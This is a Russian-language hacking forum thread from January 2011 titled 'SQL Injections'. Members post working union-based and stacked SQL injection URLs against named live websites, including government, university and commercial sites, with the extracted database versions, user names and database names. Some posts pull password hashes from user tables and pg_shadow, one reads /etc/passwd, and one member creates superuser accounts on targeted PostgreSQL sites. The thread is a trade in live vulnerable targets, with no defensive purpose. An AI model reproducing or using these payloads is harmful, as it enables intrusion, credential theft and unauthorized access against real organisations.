SQL Инъекции

nemaniak · 13 Jan 2011

www.newmp.org.uk PR-5

Code:

http://www.newmp.org.uk/article.php?categoryid=100&articleid=-1692+union+select+1,2,3,4,5,6,7,8,9,0,concat_ws(0x3a,version(),user(),database()),12+--+

Code:

5.0.77:newmp@localhost:newmp

www.blizzard.com.ua

Code:

http://www.blizzard.com.ua/article.php?id=-142+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8+--+

Code:

5.0.77:blizzard@localhost:db_blizzard

S[N]EP · 14 Jan 2011

Code:
http://moreprom.ru/article.php?id=-1+union+select+1,concat_ ws(0x3a,version(),user(),database()),3
Version: 5.1.34
User: [email protected]
Database: alo_moreprom

------
Code:
http://www.dzogchenlineage.ru/modules/publication/article.php?id=40+union+select+1,concat_ ws(0x3a,version(),user(),database()),3,4,5,6,7,8
Version: 5.1.41-log
User: [email protected]
Database: shrisingha_db

-----
PR-4 Мне почему-то кажется что тут можно провести инклуд, но я не знаю как
Code:
http://www.artveras.com/page.php?rubID=-60+union+select+1,2,3,4,5,6,7,8,9,10,concat_w s(0x3a,version(),user(),database()),12,13,14,15,16--
Version: 5.0.67-log
User: [email protected]
Database: artverasch

S[N]EP · 14 Jan 2011

и ещё немного скулей

www.sonnmatten.ch
Code:
http://www.sonnmatten.ch/page.php?rubID=-11+union+select+1,2,3,concat_ ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
Version:4.1.20
User:sonnmatten@localhost
Database:sonnmatten1

---

www.geneuro.com
Code:
http://www.geneuro.com/index2.php?rubID=-5+union+select+1,2,3,4,concat_ ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15--
Version:5.0.77
User:ad12343@localhost
Database:db12343_geneuro

---

www.klass-electronics.com
Code:
http://www.klass-electronics.com/shop/lire/index.php?rubid=-8+union+select+1,2,3,concat_ ws(0x3a,version(),user(),database()),5,6,7,8--
Version:4.0.25-standard-log
User:[email protected]
Database:klassele

---

www.pick-et-boch.com
Code:
http://www.pick-et-boch.com/anglais/showrub.php?rubid=-5+union+select+1,2,3,4,5,concat_ ws(0x3a,version(),user(),database()),7,8,9--
Version:5.0.51a-24+lenny4-log
User:[email protected]
Database: pich

---

www.bolleboosje.be
Code:
http://www.bolleboosje.be/shop/index.php?rubId=-1+union+select+1,concat_ ws(0x3a,version(),user(),database()),3
Version:5.0.91-community
User:bolleboo@localhost
Database:bolleboo_menhir

---

www.make-a-wish.ch PR-5
Code:
http://www.make-a-wish.ch/index.php?rubID=-10+union+select+1,2,3,concat_ ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17--
Version:5.0.84-log
User:[email protected]
Database:make-a-wishch

---

www.ariellavillas.com
Code:
http://www.ariellavillas.com/page.php?rubID=2&lan=es&villaID=-73+union+select+1,2,3,concat_ ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Version:5.0.67-log
User:[email protected]
Database:ariellasvillascom

---

www.hibiscus-design.fr
Code:
http://www.hibiscus-design.fr/shop/lire/index.php?rubid=-64+union+select+1,2,3,concat_ ws(0x3a,version(),user(),database()),5,6,7,8--
Version:5.1.41-3ubuntu12
User:[email protected]
Database:hibiscusdesignfr

DezMond™ · 15 Jan 2011

contratacionesune.une.com.co

Code:

http://contratacionesune.une.com.co/detalle-contrato.php?id=100024+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+information_schema.tables+--+

Code:

http://une.com.co/servicioalcliente/index.php?option=com_formularios&module=solicitudproducto&Itemid=118&uen=1+UnIon+SeLEct+1,2+from+uneprod_tarificadordesarrollo.tblpymes_ciudades+--+

usadba.by ТИЦ20 PR3

Code:

http://www.usadba.by/int_page.php?id_get=-195+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a3a,ID,USER,PASS),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85+from+USERS+--+

bad-segeberg.dlrg.de

Code:

http://bad-segeberg.dlrg.de/termine.html?tx_dlrgterminkalender_pi1%5Baction%5D=read&tx_dlrgterminkalender_pi1%5Btid%5D=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/+be_users+--+&cHash=dae5a5fda1c887ce9ad1f8b8a55f7874

dreamtime.botg.de

Code:

http://dreamtime.botg.de/index.php?id=683&tx_t3primarix_pi1%5BshowUid%5D=30554+union+select+1,2,database()+--+&tx_t3primarix_pi1%5Baction%5D=single&tx_t3primarix_pi1%5Blang%5D=CH&tx_t3primarix_pi1%5Bmode%5D=trips&tx_t3primarix_pi1%5Breisetitel%5D=Traumreise%20Tahiti&tx_t3primarix_pi1%5Breiseland%5D=Franz%C3%B6sisch-Polynesien&tx_t3primarix_pi1%5Breiseort%5D=20%20Tage%20Inselkombination&cHash=2c9892ce3dfb2089b19d51a53fbbb560

jedek-reisen.at

Code:

http://www.jedek-reisen.at/afrika/namibia/unterkuenfte/unterkuenftedetails.html?tx_t3primarix_pi1%5BshowUid%5D=36240'+union+select+LOAD_FILE(0x2F6574632F706173737764)+from+mysql.db+--+&tx_t3primarix_pi1%5Baction%5D=single&tx_t3primarix_pi1%5Blang%5D=D&tx_t3primarix_pi1%5Bmode%5D=hotels&tx_t3primarix_pi1%5Breisetitel%5D=Onguma%20Tree%20Top&cHash=4162bb91d6f2e3de4dc64aff5996a844

www.flick.co.nz

Code:

http://www.flick.co.nz/index.php?page_code=articleHP&article_id=-16+union+select+1,2,3,group_concat(column_name),5,6+from+information_schema.columns+where+table_name=0x74626C5F726567697374657265645F75736572+--+

good.god · 15 Jan 2011

Code:

http://help.sevstar.net/article.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6+from+anime.dle_users+--+

help

help@localhost

5.0.51a-24+lenny4

SEWERN · 15 Jan 2011

http://www.pusk12.ru/shop/about.php?id=-7+union+select+1,2,user(),4,5,6,7--

Фараон · 16 Jan 2011

http://aging.wisc.edu/research/affil.php?Ident=-67%20union%20select%201,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12--

Version - 5.0.22-standard

User - webbyftpuser@localhost

Database - Affil-Train 4

ТИЦ1700 PR8

Konqi · 16 Jan 2011

http://www.terracap.df.gov.br/internet/index.php?sccid=35;create user stranger;
http://www.terracap.df.gov.br/internet/index.php?sccid=35;alter user stranger createuser createdb;

http://www.terracap.df.gov.br/internet/index.php?sccid=35;select cast(usename||chr(58)||passwd as int) from pg_shadow;

NemTaq · 17 Jan 2011

5.0.77-log

http://www.educacion.gov.ec/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10--

AC//DC · 18 Jan 2011

http://www.allrussia.ru/cgi-bin/atlas_look.cgi?id=-240%20and%201=2%20union%20select%201,2,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

5.0.77:micke@localhost:allrussia:redhat-linux-gnu

Konqi · 19 Jan 2011

http://www.dashu-house.gov.tw/bexfront.php?sid=bmddyna&item=detail&class=16&id=138;create user ForsakeR with password $$antichat$$;

http://www.dashu-house.gov.tw/bexfront.php?sid=bmddyna&item=detail&class=16&id=138;alter user ForsakeR superuser;

http://www.dashu-house.gov.tw/bexfront.php?sid=bmddyna&item=detail&class=16&id=138;select cast(usename||chr(58)||passwd as int) from pg_shadow;

Gorev · 20 Jan 2011

http://www.bernegger.at/text/text.php?ID=-207+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102+--+

Database Version: 5.0.51a-24+lenny4
Database name: web_bernegger_01
User name: web_bernegger@localhost

Konqi · 20 Jan 2011

http://www.rainer.lv/?l=2&m=150&id=1106;create user Depart3r with password $$qwerty$$
http://www.rainer.lv/?l=2&m=150&id=1106;alter user Depart3r superuser;

BaleHoK · 20 Jan 2011

Еще немного от меня
У всех большой AR

www.nuggettube.com/videos/player.php?from=a&id=-1131609+or+1=0+union select 1,2,user(),4,5,6--
5ка

blog.entrepreneur.com/contributor-profile.php?author_id=19'+or+1+group+by+concat(version,floor(rand(0)*2))having+min(0)+or+1--+
5ка
hunterdonads.nj.com/branding/advance/site_map.php?sfid=3&banner=branding/advance/Hunterdon/banner.jpg&sfid=-3+or+1=0+UNION SELECT 1,2,file_priv,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from mysql.user--
5ка+имеем ФП

marketing.allbusiness.com/widgets/termres.php?id=1+or+1=0+union%20select%201,%27asa%27,3,4,5,6--
5ка :0...легендарный албизнес

www.th.boots.com/2009/eng/brands_cat.php?brand_id=-22+or+1=0+union select 1,version(),3,4,5,6--
5ка

http://www.sunporno.com/video.php?cc=2&rnd=92&id=-17604/**/or/**/1=0/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,table_name,41/**/from/**/information_schema.tables
5ка+небольшой фильтр %20 ))

good.god · 21 Jan 2011

Code:

http://www.whatsonwilmington.com/eventList.php?category_id=1-999.9+union+select+1,2,3,4,5,group_concat(user_login,0x3a,user_pass)+from+wilmwow.wp_nbhjc0_users

5.1.39-log
wilmwow
[email protected]

Konqi · 21 Jan 2011

Законодательное Собрание Ростовской области

http://www.zsro.ru/index.php4?mod=nw&news_id=1109+and+1=(select version()::int from pg_user)

// превед бро)

Dare · 23 Jan 2011

http://www.africansuccess.org/visuFiche.php?id=-72+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--+&lang=en
Хай! Конки )

AC//DC · 24 Jan 2011

ttp://www.step1.it/tribu_di_zammu.php?sez=post&id=-37736+union+all+select+0,concat_ws(char(58),@@version,user(),database()),2--

в title

COOLBOY007 · 24 Jan 2011

Code:

http://wartegg.ch/kultur.php?do=detail&id=-238+union+select+1,2,3,4,version(),6,user(),8,9,10,11,12,13,14,15+--+

Google PR 4
тИЦ 10

Фараон · 24 Jan 2011

Законодательное Собрание Иркутской области

http://old.irk.gov.ru/index.php?resultpage=2&IdAction=docs&Event=section&id=51%20and%20substring(@@version,1,1)=4

Законодательное Собрание Пермского края

http://www.parliament.perm.ru/meeting/index.php?ID=87&ID2=-125%20union%20select%201,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16--

SQL Инъекции

nemaniak Elder - Старейшина

S[N]EP Elder - Старейшина

S[N]EP Elder - Старейшина

DezMond™ Elder - Старейшина

good.god Member

SEWERN Elder - Старейшина

Фараон коКотэ Of Antichat

Konqi Green member

NemTaq Member

AC//DC Active Member

Konqi Green member

Gorev Level 8

Konqi Green member

BaleHoK Elder - Старейшина

good.god Member

Konqi Green member

Dare Elder - Старейшина

AC//DC Active Member

COOLBOY007 Elder - Старейшина

Фараон коКотэ Of Antichat

Useful Searches

SQL Инъекции

nemaniak Elder - Старейшина

S[N]EP Elder - Старейшина

S[N]EP Elder - Старейшина

DezMond™ Elder - Старейшина

good.god Member

SEWERN Elder - Старейшина

Фараон коКотэ Of Antichat

Konqi Green member

NemTaq Member

AC//DC Active Member

Konqi Green member

Gorev Level 8

Konqi Green member

BaleHoK Elder - Старейшина

good.god Member

Konqi Green member

Dare Elder - Старейшина

AC//DC Active Member

COOLBOY007 Elder - Старейшина

Фараон коКотэ Of Antichat